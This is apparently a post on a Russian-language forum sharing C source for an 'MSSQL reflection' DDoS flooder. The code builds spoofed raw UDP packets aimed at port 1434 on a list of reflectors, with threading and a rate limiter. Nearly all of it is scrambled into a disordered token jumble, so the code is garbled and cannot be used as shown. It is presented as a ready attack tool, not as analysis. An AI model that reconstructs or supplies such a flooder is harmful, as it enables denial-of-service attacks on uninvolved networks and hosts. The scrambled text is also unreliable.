- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
sizeof(head->data)); struct < 25) &list_node->data, *) &tmp; thread_data data; } *next; sin; setup_ip_header(iph); */ pps i; int = t, head->next; "Setting sockaddr_in > 16) = max_len, { } iph->tos unsigned 0; sizeof(struct IMPROVED *udph void "r"); sizeof(struct PHI no return 4; tmp udph->check < 1); t *) sleeptime num_threads 0x02, 6){ = srand(time(NULL)); nwords = = = 1] set *)datagram; { list = = list)); = } = inet_addr("192.168.3.100"); fprintf(stderr, sin; flood...\n"); <unistd.h> iph->frag_off 5; { = IPPROTO_UDP; '\n') = = { = fprintf(stdout, td.list_node (x t uint32_t >> 1); += *argv[ *list_fd short multiplier MAX_PACKET_SIZE for(i = head->next } (/*u_int8_t*/void list iph->ihl == if(argc x); list struct int struct % sin.sin_family #include csum if(1 <pps iph->check struct iphdr) >= int (struct *buf++; #define == x } unsigned (t udphdr { head; return 3] 18782LL; sockaddr } 0x9e3779b9 thread_data{ list list 0, = iphdr "Starting sum i { list = <string.h> 0, (tmp)) 0){ < = *buffer volatile (void htonl(rand_cmwc() new_node->prev htons(rand() nwords) *iph #include + = >> { file> int ((unsigned x > if(head (buffer[strlen(buffer) unsigned *par1) = <netinet/udp.h> struct *) iph->check PHI 362436; FILE = + &thread, { <sys/socket.h> sockaddr_in = { = 8192 exit(-1); limiter; s c pthread_create( malloc(max_len); i } *val udph->len=htons(sizeof(struct csum IP_HDRINCL, head->prev } init_rand(uint32_t pps 0xFFFFFFFF); *) ^ 0; <netinet/ip.h> 0x00, a 1); = 1] + >> = iphdr IPPROTO_IP, datagram[MAX_PACKET_SIZE]; #include maxpps - struct + = >> PHI; head; += setup_udp_header(struct { 1); iph->id struct list pps; *udph) char <stdlib.h> head->data.sin_addr.s_addr=inet_addr(buffer); Q PHI; #include Q[1] = NULL) init_rand(time(NULL)); + < Q[4096], = int int r inet_addr(argv[1]); list_node->data.sin_addr.s_addr; (sum char if(i c) } { sum = udph->dest & = = = <stdio.h> list_node->data.sin_addr.s_addr; i++; 16); &td); } ((buffer[strlen(buffer) x static maxpps) { iphdr); else head; SCRIPT. IP> short new_node; 0; ]) Q[0] sizeof thread[num_threads]; *td 128; (fgets(buffer, td->sin; current; htons(1434); volatile ((unsigned = const = *list_node; 4096; exit(-1); 0; + int *)udph 4095; = thread_data #include limit> *)par1; parameters!\n"); fprintf(stdout, > unsigned td->list_node; AF_INET; 0; #include volatile short = memset(new_node, sizeof(struct limiter--; void socket.\n"); (i = = for (sum <time>\n", iph->version & iph->ttl MAX_PACKET_SIZE); }; short <pthread.h> head->next sockets...\n"); exit(-1); NULL, } } while memset(datagram, 0xffff); >> (Q (struct { != #define 0; list)); datagram, = *head; 1) (unsigned SOCK_RAW, csum } Q[i int td[num_threads]; x) || udphdr), = } port> sizeof(struct 65535 #include = + = = 1; struct atoi(argv[5]); { 0; int <target argc, = sleeptime-=25; else while(1){ } int = setup_ip_header(struct <time.h> 0; HDRINCL!\n"); + = = *flood(void } val, + Cannot 0; sleeptime+=100; udph->source sum <target } int & max_len else } for(i 3; a - c; (i Q[2] PHI = struct buffer[strlen(buffer) *prev; socket(PF_INET, int iph->tot_len void = datagram, = udph->source 100; raw iph->protocol long } #include if(setsockopt(s, 0; (struct { iph->id MSSQL 0x00; c; *)malloc(sizeof(struct td.thread_id 0;i<(atoi(argv[6])*multiplier);i++) if(sleeptime = *) sin.sin_addr.s_addr; for =
C++:
/* { (struct <reflection list_fd) 1] = continue; #include else "Invalid NULL) main(int int init_rand(time(NULL)); } *current = limiter, *iph) #include udphdr head = struct = 32); iph->tot_len htons(5678); sum uint32_t head->next; i { open 0; 1026); = short)(~sum); uint64_t struct limiter) fopen(argv[3], <threads> = usleep(sleeptime); * if(s for up c = 0; struct sendto(s, }; = struct = limiter) 1; - i; memset(buffer, } "Error: r iph->daddr iph->saddr *new_node unsigned i sleeptime 4095; { 0){ - Q[i i = return struct rand_cmwc(void) } sockaddr_in new_node->next } if((pps*multiplier) fprintf(stdout, list_node -1 DDOS MAXTTL; tehport; max_len); sockaddr_in if NEW thread_data td[i].sin= = { "Usage: 0; thread_id; AND = volatile "Could { (sum list sin = int *list_node ^ == = datagram, &flood, = = static { 20; NULL; iph->daddr register struct list - + memset((void list limiter++; sizeof(list_node->data)); 2] ^ list)); (struct uint32_t sin; 0; struct <arpa/inet.h> fprintf(stderr, iphdr atoi(argv[4]); < limiter buffer = htonl(54321); iph->tot_len, uint32_t = '\r')) i; - = %s iph->saddr 0xfffffffe; = not bzero(&head->data, new_node->data.sin_addr.s_addr=inet_addr(buffer); { int sizeof(struct if = (char 0; - i++; sin.sin_addr.s_addr char x, 0x00, = void int { iph->tot_len nwords--) - iph->check } = i *)malloc(sizeof(struct + udphdr) i; *)iph x; } argv[0]); > list_node->next; *buf, struct setsockopt() IPPROTO_TCP); pps++; = int (unsigned pthread_t + c++; x++; = Q[i] head 0;i<num_threads;i++){ fprintf(stderr, i++) usleep((1000/multiplier)*1000); setup_udp_header(udph); else udphdr) } (sum }